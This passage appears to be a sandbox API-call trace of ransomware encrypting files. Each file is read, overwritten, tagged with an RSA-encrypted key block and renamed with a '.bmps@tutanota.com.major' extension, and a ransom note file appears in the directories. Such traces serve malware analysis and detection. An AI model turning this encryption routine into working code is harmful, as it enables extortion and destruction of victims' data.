1 [0154.854] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0154.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2470 | out: hHeap=0x570000) returned 1 [0154.856] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0154.856] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0154.856] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.856] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.856] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl", dwFileAttributes=0x80) returned 1 [0154.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0154.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0154.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdf10 | out: hHeap=0x570000) returned 1 [0154.857] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.857] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.858] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.858] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.858] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.876] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.876] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.877] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.877] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.877] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.877] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.877] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.878] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.878] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.878] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="PzLbd4IMYTlIDkCbCM6eMnn7yNmziePkWeOE8lMALaJ5zY/HU6NkB8niC5inx0jv\nEUx1sa3aKTQ4mfwMvcNQmpor39D/32jj8+0IOXRaCbXWML+mp3h35bn+RYd4/AbQ\nyYEf9K/UBLObb1chQvlzSkezaPRr+8qJ49+toTFPr0fo15JaRH0XawLQNV37eU88\ndD7afHvEJfFZxzz444O1+RDI9NXoFGSGnBGOm0bZNKHKmAubjMcFzxNG7nzmwzFV\nUmuuTzI9391/Ad4F1HNSWKeHtI9s5bQZIYNfIHCD2+2MkT3X4qHddwXXUjiMgpGC\nsNpjPjXlrje7Vg6tVpm3RA==\n", pcchString=0x2e3f9a8) returned 1 [0154.878] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.878] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.878] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.878] CloseHandle (hObject=0x694) returned 1 [0154.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.878] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0154.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0154.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0154.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0154.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.896] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.896] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl", dwFileAttributes=0x80) returned 1 [0154.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0154.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0154.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0154.897] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.897] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.897] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.897] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.918] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.918] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.918] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.919] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.919] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.919] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.919] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="q5NeLQcs3sDoe99mrm0ZzO/FpmMLWVVN6vgfXASBvFBKj/Lu1JGgLTaBYeFs7FDg\nwzYV1zmfmLt3fAtvAXCS9KgWEf28tLlEt+VVpiRfkoHFer4mCixZpkwog/jzHJmS\nhyqd3C5QcpeiXJrns+W/vzZr3ktLL8AorQcepGEArE4nL7tH2D6dJ9nl6Ak1uvVE\n+f8wMWt3bGoy4Mr+SYvDMibc++Y7Zn0HqMc1PYqOAoQk2F1r8X0RZp0S9RytAaTn\n6riGzEUwCh0M495esVJmdI6laQGObcvWvoboCUtMt7gpKfFM6wBXGQwG9zgsrmT2\nyRWxC5UOuX/DMrxlbVLUbw==\n", pcchString=0x2e3f9a8) returned 1 [0154.919] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.920] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.920] CloseHandle (hObject=0x694) returned 1 [0154.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.920] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdf10 | out: hHeap=0x570000) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd880 | out: hHeap=0x570000) returned 1 [0154.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1d00 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0154.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0154.922] FindFirstFileW (in: lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631800 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2608 | out: hHeap=0x570000) returned 1 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1e98 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0154.923] GetLastError () returned 0x0 [0154.923] SetLastError (dwErrCode=0x0) [0154.923] GetLastError () returned 0x0 [0154.923] SetLastError (dwErrCode=0x0) [0154.923] GetLastError () returned 0x0 [0154.923] SetLastError (dwErrCode=0x0) [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6316c0 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6316c0 | out: hHeap=0x570000) returned 1 [0154.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.923] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0154.924] FindNextFileW (in: hFindFile=0x631800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1e98 | out: hHeap=0x570000) returned 1 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2030 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0154.924] GetLastError () returned 0x0 [0154.924] SetLastError (dwErrCode=0x0) [0154.924] GetLastError () returned 0x0 [0154.924] SetLastError (dwErrCode=0x0) [0154.924] GetLastError () returned 0x0 [0154.924] SetLastError (dwErrCode=0x0) [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631180 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631180 | out: hHeap=0x570000) returned 1 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.924] FindNextFileW (in: hFindFile=0x631800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b28d00, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b28d00, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2030 | out: hHeap=0x570000) returned 1 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0154.924] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d24f8 [0154.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0154.925] GetLastError () returned 0x0 [0154.925] SetLastError (dwErrCode=0x0) [0154.925] GetLastError () returned 0x0 [0154.925] SetLastError (dwErrCode=0x0) [0154.925] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d24f8 | out: hHeap=0x570000) returned 1 [0154.925] GetLastError () returned 0x0 [0154.925] SetLastError (dwErrCode=0x0) [0154.925] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0154.925] FindNextFileW (in: hFindFile=0x631800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b28d00, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b28d00, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0154.925] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1d00 | out: hHeap=0x570000) returned 1 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0154.925] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\AppData\\Local\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631700 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0154.925] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0154.925] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0154.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0154.925] GetLastError () returned 0x12 [0154.925] SetLastError (dwErrCode=0x12) [0154.926] GetLastError () returned 0x12 [0154.926] SetLastError (dwErrCode=0x12) [0154.926] GetLastError () returned 0x12 [0154.926] SetLastError (dwErrCode=0x12) [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631580 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631580 | out: hHeap=0x570000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404c8 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404c8 | out: hHeap=0x570000) returned 1 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.926] FindNextFileW (in: hFindFile=0x631700, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x15b4ed4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0154.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0154.926] GetLastError () returned 0x12 [0154.926] SetLastError (dwErrCode=0x12) [0154.926] GetLastError () returned 0x12 [0154.926] SetLastError (dwErrCode=0x12) [0154.926] GetLastError () returned 0x12 [0154.926] SetLastError (dwErrCode=0x12) [0154.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631680 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631680 | out: hHeap=0x570000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0154.927] FindNextFileW (in: hFindFile=0x631700, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0154.927] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0154.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0154.927] GetLastError () returned 0x12 [0154.927] SetLastError (dwErrCode=0x12) [0154.927] GetLastError () returned 0x12 [0154.927] SetLastError (dwErrCode=0x12) [0154.927] GetLastError () returned 0x12 